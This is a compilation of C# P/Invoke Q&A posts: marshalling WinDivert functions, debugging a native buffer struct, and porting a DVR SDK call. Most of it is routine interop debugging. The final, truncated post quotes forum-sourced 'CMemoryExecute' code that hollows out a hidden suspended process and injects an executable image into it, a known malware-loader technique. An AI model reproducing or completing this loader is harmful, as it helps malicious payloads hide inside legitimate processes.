WinDivert in C# - c#

I want to call 5 WinDivert functions in a C# code, first reflex : PInvoke here are the signatures :
internal enum WINDIVERT_LAYER
{
WINDIVERT_LAYER_NETWORK = 0, /* Network layer. */
WINDIVERT_LAYER_NETWORK_FORWARD = 1 /* Network layer (forwarded packets) */
}
internal const UInt64 WINDIVERT_FLAG_SNIFF = 1;
/*
* typedef struct
{
UINT32 IfIdx;
UINT32 SubIfIdx;
UINT8 Direction;
} WINDIVERT_ADDRESS, *PWINDIVERT_ADDRESS;
* */
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
internal struct WINDIVERT_ADDRESS
{
UInt32 IfIdx;
UInt32 SubIfIdx;
byte Direction;
}
/*
* typedef struct
{
UINT8 HdrLength:4;
UINT8 Version:4;
UINT8 TOS;
UINT16 Length;
UINT16 Id;
UINT16 FragOff0;
UINT8 TTL;
UINT8 Protocol;
UINT16 Checksum;
UINT32 SrcAddr;
UINT32 DstAddr;
} WINDIVERT_IPHDR, *PWINDIVERT_IPHDR;
* */
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
internal struct WINDIVERT_IPHDR
{
byte HdrLengthAndVersion;
byte TOS;
UInt16 Length;
UInt16 Id;
UInt16 FragOff0;
byte TTL;
byte Protocol;
UInt16 Checksum;
UInt32 SrcAddr;
UInt32 DstAddr;
}
/*
* typedef struct
{
UINT16 SrcPort;
UINT16 DstPort;
UINT16 Length;
UINT16 Checksum;
} WINDIVERT_UDPHDR, *PWINDIVERT_UDPHDR;
* */
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
internal struct WINDIVERT_UDPHDR
{
UInt16 SrcPort;
UInt16 DstPort;
UInt16 Length;
UInt16 Checksum;
}
/*
* HANDLE WinDivertOpen(
__in const char *filter,
__in WINDIVERT_LAYER layer,
__in INT16 priority,
__in UINT64 flags
);
* */
[DllImport("WinDivert.dll", EntryPoint = "WinDivertOpen", SetLastError = true, CharSet = CharSet.Auto,
ExactSpelling = true, CallingConvention = CallingConvention.Cdecl)]
internal static extern IntPtr WinDivertOpen(
[MarshalAs(UnmanagedType.LPStr)] string filter,
WINDIVERT_LAYER layer,
Int16 priority,
UInt64 flags);
/*
* BOOL WinDivertClose(
__in HANDLE handle
);
* */
[DllImport("WinDivert.dll", EntryPoint = "WinDivertClose", SetLastError = true, CharSet = CharSet.Auto,
ExactSpelling = true, CallingConvention = CallingConvention.Cdecl)]
[return:MarshalAs(UnmanagedType.Bool)]
internal static extern bool WinDivertClose(IntPtr handle);
/*
* BOOL WinDivertRecv(
__in HANDLE handle,
__out PVOID pPacket,
__in UINT packetLen,
__out_opt PWINDIVERT_ADDRESS pAddr,
__out_opt UINT *recvLen
);
* */
[DllImport("WinDivert.dll", EntryPoint = "WinDivertRecv", SetLastError = true, CharSet = CharSet.Auto,
ExactSpelling = true, CallingConvention = CallingConvention.Cdecl)]
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern bool WinDivertRecv(IntPtr handle, out IntPtr pPacket, uint packetLen, [Optional] out IntPtr pAddr, [Optional] out uint readLen);
/*
* BOOL WinDivertHelperParsePacket(
__in PVOID pPacket,
__in UINT packetLen,
__out_opt PWINDIVERT_IPHDR *ppIpHdr,
__out_opt PWINDIVERT_IPV6HDR *ppIpv6Hdr,
__out_opt PWINDIVERT_ICMPHDR *ppIcmpHdr,
__out_opt PWINDIVERT_ICMPV6HDR *ppIcmpv6Hdr,
__out_opt PWINDIVERT_TCPHDR *ppTcpHdr,
__out_opt PWINDIVERT_UDPHDR *ppUdpHdr,
__out_opt PVOID *ppData,
__out_opt UINT *pDataLen
);
* */
[DllImport("WinDivert.dll", EntryPoint = "WinDivertHelperParsePacket", SetLastError = true, CharSet = CharSet.Auto,
ExactSpelling = true, CallingConvention = CallingConvention.Cdecl)]
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern bool WinDivertHelperParsePacket(IntPtr pPacket, uint packetLen, [Optional] out IntPtr ppIpHdr, [Optional] out IntPtr ppIpv6Hdr,
[Optional] out IntPtr ppIcmpHdr, [Optional] out IntPtr ppTcpHdr, [Optional] out IntPtr ppUdpHdr, [Optional] out IntPtr ppData,
[Optional]out uint pDataLen);
/*
* BOOL WinDivertSend(
__in HANDLE handle,
__in PVOID pPacket,
__in UINT packetLen,
__in PWINDIVERT_ADDRESS pAddr,
__out_opt UINT *sendLen
);
* */
[DllImport("WinDivert.dll", EntryPoint = "WinDivertSend", SetLastError = true, CharSet = CharSet.Auto,
ExactSpelling = true, CallingConvention = CallingConvention.Cdecl)]
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern bool WinDivertSend(IntPtr handle, IntPtr pPacket, uint packetLen, IntPtr pAddr, [Optional] out uint sendLen);
I have managed to avoid (87 = ERROR_INVALID_PARAMETER), (998 = ERROR_NOACCESS) errors on calls to WinDivertOpen(), WinDivertClose() and WinDivertRecv() but I'm still getting System.AccessViolationException : Attempted to read or write protected memory. This is often an indication that other memory has been corrupted and (998 = ERROR_NOACCESS) when trying to call WinDivertHelperParsePacket().
Here's the code :
static void Main(string[] args)
{
const uint MAXBUF = 0xFFFF;
IntPtr handle;
IntPtr addr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(NativeMethods.WINDIVERT_ADDRESS)));
IntPtr packet = Marshal.AllocHGlobal((int)MAXBUF);
uint packetLen;
IntPtr ip_header = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(NativeMethods.WINDIVERT_IPHDR)));
IntPtr udp_header = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(NativeMethods.WINDIVERT_UDPHDR)));
IntPtr payload;
uint payload_len;
uint sendLen;
IntPtr opt_param = IntPtr.Zero;
byte[] managedPacket;
IntPtr INVALID_HANDLE_VALUE = new IntPtr(-1);
handle = NativeMethods.WinDivertOpen("udp.DstPort == 53", NativeMethods.WINDIVERT_LAYER.WINDIVERT_LAYER_NETWORK, 404, NativeMethods.WINDIVERT_FLAG_SNIFF);
if (handle == INVALID_HANDLE_VALUE) Console.WriteLine("open error:" + Marshal.GetLastWin32Error());
else
{
while (true)
{
if (!NativeMethods.WinDivertRecv(handle, out packet, MAXBUF, out addr, out packetLen))
{
Console.WriteLine("Recv error:" + Marshal.GetLastWin32Error());
continue;
}
try
{
managedPacket = new byte[(int)packetLen];
Marshal.Copy(packet, managedPacket, 0, (int)packetLen); // causes AccessViolationException
Console.WriteLine("---------------------------------");
/*for (int i = 0; i < packetLen; i++)
{
Console.Write("{0:X}", managedPacket[i]);
}*/
Console.WriteLine("---------------------------------");
}
catch(Exception ex)
{
Console.WriteLine("copy error :" + ex.Message);
}
if (!NativeMethods.WinDivertHelperParsePacket(packet, packetLen, out ip_header, out opt_param, out opt_param, out opt_param, out udp_header, out payload, out payload_len)) // causes AccessViolationException
{
Console.WriteLine("Parse error:" + Marshal.GetLastWin32Error());
//continue;
}
if (!NativeMethods.WinDivertSend(handle, packet, packetLen, addr, out sendLen))
{
Console.WriteLine("Send error:" + Marshal.GetLastWin32Error());
continue;
}
}
/*if (!NativeMethods.WinDivertClose(handle))
Console.WriteLine("close error:" + Marshal.GetLastWin32Error());*/
}
Console.ReadKey();
}
My boss told me that it's better/easier to write a COM object in C++ that wraps the C calls and expose it to C# to avoid the marshaling and memory handling pain. Should I stick to PInvoke or go the COM way ?
EDIT : Updates
I have tried two different ways of allocating unmanaged memory and both failed (unsafe code allowed) :
byte[] managedPacket = new byte[(int)packetLen];
NativeMethods.WINDIVERT_ADDRESS windivertAddr = new NativeMethods.WINDIVERT_ADDRESS();
GCHandle managedPacketHandle = GCHandle.Alloc(managedPacket, GCHandleType.Pinned);
IntPtr managedPacketPointer = managedPacketHandle.AddrOfPinnedObject();
GCHandle windivertAddrHandle = GCHandle.Alloc(windivertAddr, GCHandleType.Pinned);
IntPtr windivertAddrPointer = managedPacketHandle.AddrOfPinnedObject();
NativeMethods.WinDivertRecv(handle, out managedPacketPointer, (uint)(packetLen * Marshal.SizeOf(typeof(System.Byte))), out windivertAddrPointer , out readLen);
// output of managed array and struct fields = 0 and it still causes unhandled AccessViolationException even inside a try/catch
managedPacketHandle.Free();
windivertAddrPointer.Free();
and :
IntPtr packet = Marshal.AllocHGlobal((int)packetLen * Marshal.SizeOf(typeof(System.Byte)));
IntPtr addr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(NativeMethods.WINDIVERT_ADDRESS)));
NativeMethods.WinDivertRecv(handle, out packet, (uint)(packetLen * Marshal.SizeOf(typeof(System.Byte))), out addr, out readLen)
byte[] managedPacket = new byte[(int)packetLen];
Marshal.Copy(packet, managedPacket, 0, (int)readLen);
NativeMethods.WINDIVERT_ADDRESS windivertAddr = (NativeMethods.WINDIVERT_ADDRESS)Marshal.PtrToStructure(addr, typeof(NativeMethods.WINDIVERT_ADDRESS));
// no output of managed array and struct fields and the same unhandled AccessViolationException
Marshal.FreeHGlobal(addr);
Marshal.FreeHGlobal(packet);
Also sometimes inside a loop, WinDivRecv fails with LastWin32Error : 6 = INVALID_HANDLE_VALUE is it because the GC is messing with the handle ? I tried GC.KeepAlive(handle) and it didn't change anything.
C++\CLI wrapper : (bridge between unmanaged C DLL and managed C# code)
[Suggested option in the comments below]
I followed these steps :
Create a C++/CLI library project
Create a Native C++ class that wraps the C functions
Create a managed C++/CLI class with a field pointing to a native class instance and wraps all the unmanaged methods and do the necessary marshalling.
Try to build ==> fails with the famous LNK2019 and LNK2028
Should I add the WinDivert DLL as a reference or only WinDivert.h ? What about the kernel driver .sys files ?
And honestly it's not easier than PInvoke but a lot worse, I still have to do the same marshalling of non-blittable data types and struct/enum definitions !

Related

Native call from C# tries to read invalid memory

I am calling into native code from managed code and I am having a bit of trouble figuring out how to properly marshal my code. In C, I have the following:
struct cHandle {
unsigned long handleLo;
unsigned long handleHi;
}
struct cBuffer {
unsigned long bufferSize;
unsigned long bufferType;
__field_bcount(bufferSize) void *bufferPtr;
}
struct cBufferDesc {
unsigned long bufferVersion;
unsigned long bufferCount;
_field_ecount(bufferCount) cBuffer *buffers;
}
uint __stdcall CMethod(
__in_opt cHandle* handle1,
__in_opt cHandle* handle2,
__in_opt wchar_t* wstr,
__in unsigned long long1,
__in unsigned long resevered1, // Reserved, always 0
__in unsigned long long2,
__in_opt cBufferDesc* inputBufferPtr,
__in unsigned long reserved2, // Reserved, always 0
__inout_opt cHandle* outHandle,
__inout_opt cBufferDesc* outputBufferPtr,
__out unsigned long * outLong,
__out_opt TimeStampStruct* timeStamp);
The behaviour of CMethod is as follows. outputBufferPtr will always output a value. If inputBufferPtr is NULL, handle2 should also be null and CMethod should follow different logic to give an initial output buffer, and if not CMethod should calculate the output buffer based on the data in the input buffer. I am having trouble getting my initial call to work. Additionally, I don't care about the timestamp, so I will not detail that struct, or make a C# equivalent. I have tried the following marshalling in C#:
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct Handle {
private IntPtr HandleLo;
private IntPtr HandleHi;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct Buffer {
public uint Size; // Possibly unknown
public uint Type; // Always set.
public IntPtr Buffer; // Possibly unknown
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct BufferDesc {
public uint Count; // Always 1 for my purposes
public uint Version; // Always set
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
public Buffer[] BufferArray; // Will always be a size 1 array.
}
// Used for calling when we have an existing input buffer
[DllImport("mylib.dll", ExactSpelling = "true", CharSet = CharSet.Unicode, SetLastError = true)]
uint CMethod(
[In] ref Handle handle1,
[In] ref Handle handle2,
[In] IntPtr wstr,
[In] uint long1, // C# uint == C ulong
[In] uint reserved1,
[In] uint long2,
[In] ref BufferDesc inputBufferPtr,
[In] uint reserved2,
[In, Out] ref Handle outHandle,
[In, Out] ref BufferDesc outputBufferPtr,
[Out] out IntPtr outLong,
[Out] out IntPtr timestamp);
// Used for calling when we do not have an existing input buffer
// Here IntPtr.Zero will be passed in for handle2 and inputBufferPtr
[DllImport("mylib.dll", ExactSpelling = "true", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern uint CMethod(
[In] ref Handle handle1,
[In] IntPtr handle2,
[In] IntPtr wstr,
[In] uint long1, // C# uint == C ulong
[In] uint reserved1,
[In] uint long2,
[In] IntPtr inputBufferPtr,
[In] uint reserved2,
[In, Out] ref Handle outHandle,
[In, Out] ref BufferDesc outputBufferPtr,
[Out] out IntPtr outLong,
[Out] out IntPtr timestamp);
public static void WrapperMethod(
ref Handle handle1,
ref Handle handle2,
string wstr,
byte[] inputBuffer,
ref Handle outHandle,
out byte[] outputBuffer)
{
BufferDesc inputBufferDesc;
BufferDesc outputBufferDesc;
outputBufferDesc.Count = 1;
outputBufferDesc.Version = 0; // Real data not shown
outputBufferDesc.BufferArray = new Buffer[0];
outputBufferDesc.BufferArray[0].Count = 0;
outputBufferDesc.BufferArray[0].Type = 2; // Real data not shown
outputBufferDesc.BufferArray[0].Buffer = IntPtr.Zero;
IntPtr wstrPtr = Marshal.StringToCoTaskMemUni(wstr);
IntPtr ignoredOutLong;
IntPtr ignoredTimestamp;
if (null != inputBuffer)
{
inputBufferDesc.Count = 1;
inputBufferDesc.Version = 0; // Real data not shown
inputBufferDesc.BufferArray = new Buffer[1];
inputBufferDesc.BufferArray[0].Size = inputBuffer.Length;
inputBufferDesc.BufferArray[0].Type = 2; // Real data not shown
inputBufferDesc.BufferArray[0].Buffer = GCHandle.Alloc(inputBuffer, GCHandleType.Pinned).AddrOfPinnedObject();
CMethod(
ref handle1,
ref handle2,
wstrPtr,
0, // Real data not shown
0,
0, // Real data not shown
ref inputBufferDesc,
0,
ref outHandle,
ref outputBufferDesc,
out ignoreOutLong,
out ignoreTimestamp);
}
else
{ ///////////////////////////////////////////////////////////////////////
// This is the call I am taking and also where the code is crashing. //
CMethod( //
ref handle1, //
IntPtr.Zero, //
wstrPtr, //
0, // Real data not shown //
0, //
0, // Real data not shown //
IntPtr.Zero, //
0, //
ref outHandle, //
ref outputBufferDesc, //
out ignoreOutLong, //
out ignoreTimestamp); //
///////////////////////////////////////////////////////////////////////
}
// Do Cleanup. Not reached at this point.
}
The error that I am getting is that I am trying to access read or write protected memory. If there is anything you can see which is obviously wrong with how I am marshalling or if I am pinning wrong, or just not pinning where I should be please, or if you can see any other issues let me know.
The issue was with my output buffer. I wasn't assigning an empty array of size one to outputBufferDesc.Buffers, and the native code tried to write to memory that wasn't allocated for that purpose. I also couldn't marshal it as a byvalue array. Instead my struct looks like this:
[StructLayout(LayoutKind.Sequential, Pack = 1)]
struct BufferDesc
{
public uint Version;
public uint Count;
public IntPtr Buffers;
}
And I pin an empty SecurityBuffer array of size 1 and give the address to Buffers.

Illegal parameter in converting C SDK to C#

I am trying to conver a C SDK to C# and am running into a "Illegal Parameter" error on the conversion of a C function.
The details of the C SDK function are listed below
#ifndef LLONG
#ifdef WIN32
#define LLONG LONG
#else //WIN64
#define LLONG INT64
#endif
#endif
#ifndef CLIENT_API
#define CLIENT_API __declspec(dllexport)
#endif
#else
#ifndef CLIENT_API
#define CLIENT_API __declspec(dllimport)
#endif
#endif
#define CALLBACK __stdcall
#define CALL_METHOD __stdcall //__cdecl
// Configuration type,corresponding to CLIENT_GetDevConfig and CLIENT_SetDevConfig
#define DH_DEV_DEVICECFG 0x0001 // Device property setup
#define DH_DEV_NETCFG 0x0002 // Network setup
#define DH_DEV_CHANNELCFG 0x0003 // Video channel setup
#define DH_DEV_PREVIEWCFG 0x0004 // Preview parameter setup
#define DH_DEV_RECORDCFG 0x0005 // Record setup
#define DH_DEV_COMMCFG 0x0006 // COM property setup
#define DH_DEV_ALARMCFG 0x0007 // Alarm property setup
#define DH_DEV_TIMECFG 0x0008 // DVR time setup
#define DH_DEV_TALKCFG 0x0009 // Audio talk parameter setup
#define DH_DEV_AUTOMTCFG 0x000A // Auto matrix setup
#define DH_DEV_VEDIO_MARTIX 0x000B // Local matrix control strategy setup
#define DH_DEV_MULTI_DDNS 0x000C // Multiple ddns setup
#define DH_DEV_SNAP_CFG 0x000D // Snapshot corresponding setup
#define DH_DEV_WEB_URL_CFG 0x000E // HTTP path setup
#define DH_DEV_FTP_PROTO_CFG 0x000F // FTP upload setup
#define DH_DEV_INTERVIDEO_CFG 0x0010 // Plaform embedded setup. Now the channel parameter represents the platform type.
// Search configuration information
CLIENT_API BOOL CALL_METHOD CLIENT_GetDevConfig(LLONG lLoginID, DWORD dwCommand, LONG lChannel, LPVOID lpOutBuffer, DWORD dwOutBufferSize, LPDWORD lpBytesReturned,int waittime=500);
The C# info is as follows:
// [DllImport("dhnetsdk.dll", CallingConvention = CallingConvention.StdCall)]
[DllImport("dhnetsdk.dll", CallingConvention = CallingConvention.Cdecl)]
// [DllImport("dhnetsdk.dll")]
public static extern bool CLIENT_GetDevConfig(long lLoginID,
uint dwCommand,
long lChannel,
IntPtr lpBuffer,
uint dwOutBufferSize,
uint lpBytesReturned,
int waittime = 500);
And I am calling the method as follows:
int t = 500;
uint BytesReturned = 0;
uint c = 8;
var lpOutBuffer = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(NET_TIME)));
if (CLIENT_GetDevConfig(lLogin, c, 0, lpOutBuffer, (uint)Marshal.SizeOf(typeof(NET_TIME)), BytesReturned, t) == false)
{
Console.WriteLine("GetDevConfig FAILED");
}
[StructLayout(LayoutKind.Sequential)]
public struct NET_TIME
{
// [FieldOffset(0)]
uint dwYear;
// [FieldOffset(4)]
uint dwMonth;
// [FieldOffset(4)]
uint dwDay;
// [FieldOffset(4)]
uint dwHour;
// [FieldOffset(4)]
uint dwMinute;
// [FieldOffset(4)]
uint dwSecond;
}
I am positive the lLogin is correct since I successfully logged into the device using it.
But when I check GetLastError immediately after the call to GetDevConfig fails, it indicates a illegal parameter. So, can anybody point out the illegal parameter in the above code?
The following is my C# code with the illegal parameter issues...
using System;
using System.Runtime.InteropServices;
class PlatformInvokeTest
{
static public int lLogin;
public delegate void fDisConnect(long lLoginID, IntPtr pchDVRIP, long nDVRPort, uint dwUser);
public delegate void fHaveReConnect(long lLoginID, IntPtr pchDVRIP, long nDVRPort, uint dwUser);
[DllImport("dhnetsdk.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern bool CLIENT_Init(fDisConnect cbDisConnect, uint dwUser);
[DllImport("dhnetsdk.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern void CLIENT_SetAutoReconnect(fHaveReConnect cbHaveReconnt, uint dwUser);
[DllImport("dhnetsdk.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int CLIENT_Login(string pchDVRIP, ushort wDVRPort, string pchUserName, string pchPassword, NET_DEVICEINFO lpDeviceInfo, IntPtr error);
[DllImport("dhnetsdk.dll", CallingConvention = CallingConvention.Cdecl)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CLIENT_GetDevConfig(
int loginId,
uint command,
int channel,
out NET_TIME buffer,
out uint bufferSize,
IntPtr lpBytesReturned,
int waittime = 500);
[DllImport("dhnetsdk.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern bool CLIENT_Logout(long lID);
[DllImport("dhnetsdk.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern void CLIENT_Cleanup();
[DllImport("dhnetsdk.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern uint CLIENT_GetLastError();
public static void fDisConnectMethod(long lLoginID, IntPtr pchDVRIP, long nDVRPort, uint dwUser)
{
System.Console.WriteLine("Disconnect");
return;
}
public static void fHaveReConnectMethod(long lLoginID, IntPtr pchDVRIP, long nDVRPort, uint dwUser)
{
System.Console.WriteLine("Reconnect success");
return;
}
[StructLayout(LayoutKind.Sequential)]
public class NET_DEVICEINFO
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 48)]
public byte[] sSerialNumber;
public byte byAlarmInPortNum;
public byte byAlarmOutPortNum;
public byte byDiskNum;
public byte byDVRType;
public byte byChanNum;
}
[StructLayout(LayoutKind.Sequential)]
public struct NET_TIME
{
uint dwYear;
uint dwMonth;
uint dwDay;
uint dwHour;
uint dwMinute;
uint dwSecond;
}
public static void Main()
{
fDisConnect fDisConnecthandler = fDisConnectMethod;
fHaveReConnect fHaveReConnecthandler = fHaveReConnectMethod;
NET_DEVICEINFO deviceinfo = new NET_DEVICEINFO();
IntPtr iRet = new IntPtr(0);
CLIENT_Init(fDisConnectMethod, 0);
CLIENT_SetAutoReconnect(fHaveReConnecthandler, 0);
lLogin = CLIENT_Login("192.168.1.198", 31111, "user", "password", deviceinfo, iRet);
if (lLogin <= 0)
Console.WriteLine("Login device failed");
else
{
Console.WriteLine("Login device successful");
byte[] byteout = new byte[20];
const int t = 500;
IntPtr BytesReturned;
BytesReturned = IntPtr.Zero;
const uint c = 8;
NET_TIME nt;
uint sizeofnt = (uint)Marshal.SizeOf(typeof(NET_TIME));
if (CLIENT_GetDevConfig(lLogin, c, 0, out nt, out sizeofnt, BytesReturned, t) == false)
{
uint gle = CLIENT_GetLastError();
Console.WriteLine("getDevConfig failed");
}
CLIENT_Logout(lLogin);
CLIENT_Cleanup();
}
}
}
And here is my C code that I'm trying to port to C#. It works without any issues..
#pragma comment(lib,"dhnetsdk.lib")
#include <Windows.h>
#include <stdio.h>
#include <conio.h>
#include "dhnetsdk.h"
void CALLBACK DisConnectFunc(LONG lLoginID, char *pchDVRIP, LONG nDVRPort, DWORD dwUser)
{
printf("Disconnect.");
return;
}
void CALLBACK AutoConnectFunc(LONG lLoginID,char *pchDVRIP,LONG nDVRPort,DWORD dwUser)
{
printf("Reconnect success.");
return;
}
int main(void)
{
NET_TIME nt = {0};
NET_DEVICEINFO deviceInfo = {0};
unsigned long lLogin = 0;
LPVOID OutBuffer;
int iRet = 0;
DWORD dwRet = 0;
//Initialize the SDK, set the disconnection callback functions
CLIENT_Init(DisConnectFunc,0);
//Setting disconnection reconnection success of callback functions. If don't call this interface, the SDK will not break reconnection.
CLIENT_SetAutoReconnect(AutoConnectFunc,0);
lLogin = CLIENT_Login("192.168.1.108",31111,"user","password",&deviceInfo, &iRet);
if(lLogin <= 0)
{
printf("Login device failed");
}
else
{
OutBuffer = (LPVOID)malloc(sizeof(NET_TIME));
memset(OutBuffer, 0, sizeof(NET_TIME));
if(CLIENT_GetDevConfig( lLogin, 8 /* DH_DEV_TIMECFG */, 0, OutBuffer, sizeof(NET_TIME), &dwRet, 500) == FALSE)
{
printf("Failed\n");
}
else
{
memcpy(&nt, OutBuffer, sizeof(nt));
printf("Time %d %d %d %d %d %d\n", nt.dwYear,nt.dwMonth,nt.dwDay, nt.dwHour,nt.dwMinute, nt.dwSecond);
}
_getch();
}
CLIENT_Logout(lLogin);
CLIENT_Cleanup();
return 0;
}
Your extern function is wrongly defined. Let's take your C call example.
// Search configuration information
CLIENT_API BOOL CALL_METHOD CLIENT_GetDevConfig(LLONG lLoginID, DWORD dwCommand, LONG lChannel, LPVOID lpOutBuffer, DWORD dwOutBufferSize, LPDWORD lpBytesReturned,int waittime=500);
As stated in comment of your post, the length of LONG is 32-bit in Win32, so you have to use an int. You can also use the keyword out to get your structure without manually use the Mashaller. I would define your function as that.
[DllImport("dhnetsdk.dll", CallingConvention = CallingConvention.Cdecl)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CLIENT_GetDevConfig(int loginId, uint command, int channel, out NET_TIME buffer, out uint bufferSize, IntPtr lpBytesReturned, int waittime = 500);
Note the presence of the additional attribute MarshalAs. It indicates how the managed code should consider the return value of the pinvoke'd function.
Here are the differences that I can see:
The C++ code:
CLIENT_API BOOL CALL_METHOD CLIENT_GetDevConfig(
LLONG lLoginID,
DWORD dwCommand,
LONG lChannel,
LPVOID lpOutBuffer,
DWORD dwOutBufferSize,
LPDWORD lpBytesReturned,
int waittime
);
Now, LLONG is pointer sized, 32 bit under x86, 64 bit under x64. That translates to IntPtr for C#. I'd declare the p/invoke like this:
[DllImport("dhnetsdk.dll", CallingConvention = CallingConvention.Cdecl)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CLIENT_GetDevConfig(
IntPtr lLoginID,
uint dwCommand,
int lChannel,
out NET_TIME lpOutBuffer,
uint dwOutBufferSize,
out uint lpBytesReturned,
int waittime
);
The main problems that I can see are that:
You are translated dwOutBufferSize incorrectly. It's an IN parameter but you are passing it by reference. This is the most likely explanation for the failure.
In the C++ code you pass a pointer to a DWORD variable for lpBytesReturned. In your C# code you pass IntPtr.Zero which is the null pointer.
So, I'd have the call to CLIENT_GetDevConfig looking like this:
NET_TIME nt;
uint sizeofnt = (uint)Marshal.SizeOf(typeof(NET_TIME));
uint BytesReturned;
if (!CLIENT_GetDevConfig(lLogin, 8, 0, out nt, sizeofnt, out BytesReturned, 500))
....
It may be that you can indeed pass IntPtr.Zero to the BytesReturned parameter. Perhaps it's an optional parameter. But I cannot tell that from here. However, for sure the dwOutBufferSize mis-declaration is an error.

Why run native exe from byte array example don't work for me?

I found some questions, asking how to run native EXE from RAM. I used this example code:
using System;
using System.Runtime.InteropServices;
/*
* Title: CMemoryExecute.cs
* Description: Runs an EXE in memory using native WinAPI. Very optimized and tiny.
*
* Developed by: affixiate
* Release date: December 10, 2010
* Released on: http://opensc.ws
* Credits:
* MSDN (http://msdn.microsoft.com)
* NtInternals (http://undocumented.ntinternals.net)
* Pinvoke (http://pinvoke.net)
*
* Comments: If you use this code, I require you to give me credits. Don't be a ripper! ;]
*/
// ReSharper disable InconsistentNaming
public static unsafe class CMemoryExecute
{
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
/// <summary>
/// Runs an EXE (which is loaded in a byte array) in memory.
/// </summary>
/// <param name="exeBuffer">The EXE buffer.</param>
/// <param name="hostProcess">Full path of the host process to run the buffer in.</param>
/// <param name="optionalArguments">Optional command line arguments.</param>
/// <returns></returns>
public static bool Run(byte[] exeBuffer, string hostProcess, string optionalArguments = "")
{
// STARTUPINFO
STARTUPINFO StartupInfo = new STARTUPINFO();
StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
StartupInfo.wShowWindow = SW_HIDE;
var IMAGE_SECTION_HEADER = new byte[0x28]; // pish
var IMAGE_NT_HEADERS = new byte[0xf8]; // pinh
var IMAGE_DOS_HEADER = new byte[0x40]; // pidh
var PROCESS_INFO = new int[0x4]; // pi
var CONTEXT = new byte[0x2cc]; // ctx
byte* pish;
fixed (byte* p = &IMAGE_SECTION_HEADER[0])
pish = p;
byte* pinh;
fixed (byte* p = &IMAGE_NT_HEADERS[0])
pinh = p;
byte* pidh;
fixed (byte* p = &IMAGE_DOS_HEADER[0])
pidh = p;
byte* ctx;
fixed (byte* p = &CONTEXT[0])
ctx = p;
// Set the flag.
*(uint*)(ctx + 0x0 /* ContextFlags */) = CONTEXT_FULL;
// Get the DOS header of the EXE.
Buffer.BlockCopy(exeBuffer, 0, IMAGE_DOS_HEADER, 0, IMAGE_DOS_HEADER.Length);
/* Sanity check: See if we have MZ header. */
if (*(ushort*)(pidh + 0x0 /* e_magic */) != IMAGE_DOS_SIGNATURE)
return false;
var e_lfanew = *(int*)(pidh + 0x3c);
// Get the NT header of the EXE.
Buffer.BlockCopy(exeBuffer, e_lfanew, IMAGE_NT_HEADERS, 0, IMAGE_NT_HEADERS.Length);
/* Sanity check: See if we have PE00 header. */
if (*(uint*)(pinh + 0x0 /* Signature */) != IMAGE_NT_SIGNATURE)
return false;
// Run with parameters if necessary.
if (!string.IsNullOrEmpty(optionalArguments))
hostProcess += " " + optionalArguments;
int ERROR_CODE = 0;
if (!CreateProcess(null, hostProcess, IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null, ref StartupInfo, PROCESS_INFO))
{
ERROR_CODE = Marshal.GetLastWin32Error();
return false;
}
var ImageBase = new IntPtr(*(int*)(pinh + 0x34));
NtUnmapViewOfSection((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase);
ERROR_CODE = Marshal.GetLastWin32Error();
if (VirtualAllocEx((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, *(uint*)(pinh + 0x50 /* SizeOfImage */), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == IntPtr.Zero)
Run(exeBuffer, hostProcess, optionalArguments); // Memory allocation failed; try again (this can happen in low memory situations)
fixed (byte* p = &exeBuffer[0])
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, (IntPtr)p, *(uint*)(pinh + 84 /* SizeOfHeaders */), IntPtr.Zero);
ERROR_CODE = Marshal.GetLastWin32Error();
for (ushort i = 0; i < *(ushort*)(pinh + 0x6 /* NumberOfSections */); i++)
{
Buffer.BlockCopy(exeBuffer, e_lfanew + IMAGE_NT_HEADERS.Length + (IMAGE_SECTION_HEADER.Length * i), IMAGE_SECTION_HEADER, 0, IMAGE_SECTION_HEADER.Length);
fixed (byte* p = &exeBuffer[*(uint*)(pish + 0x14 /* PointerToRawData */)])
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)((int)ImageBase + *(uint*)(pish + 0xc /* VirtualAddress */)), (IntPtr)p, *(uint*)(pish + 0x10 /* SizeOfRawData */), IntPtr.Zero);
ERROR_CODE = Marshal.GetLastWin32Error();
}
NtGetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx);
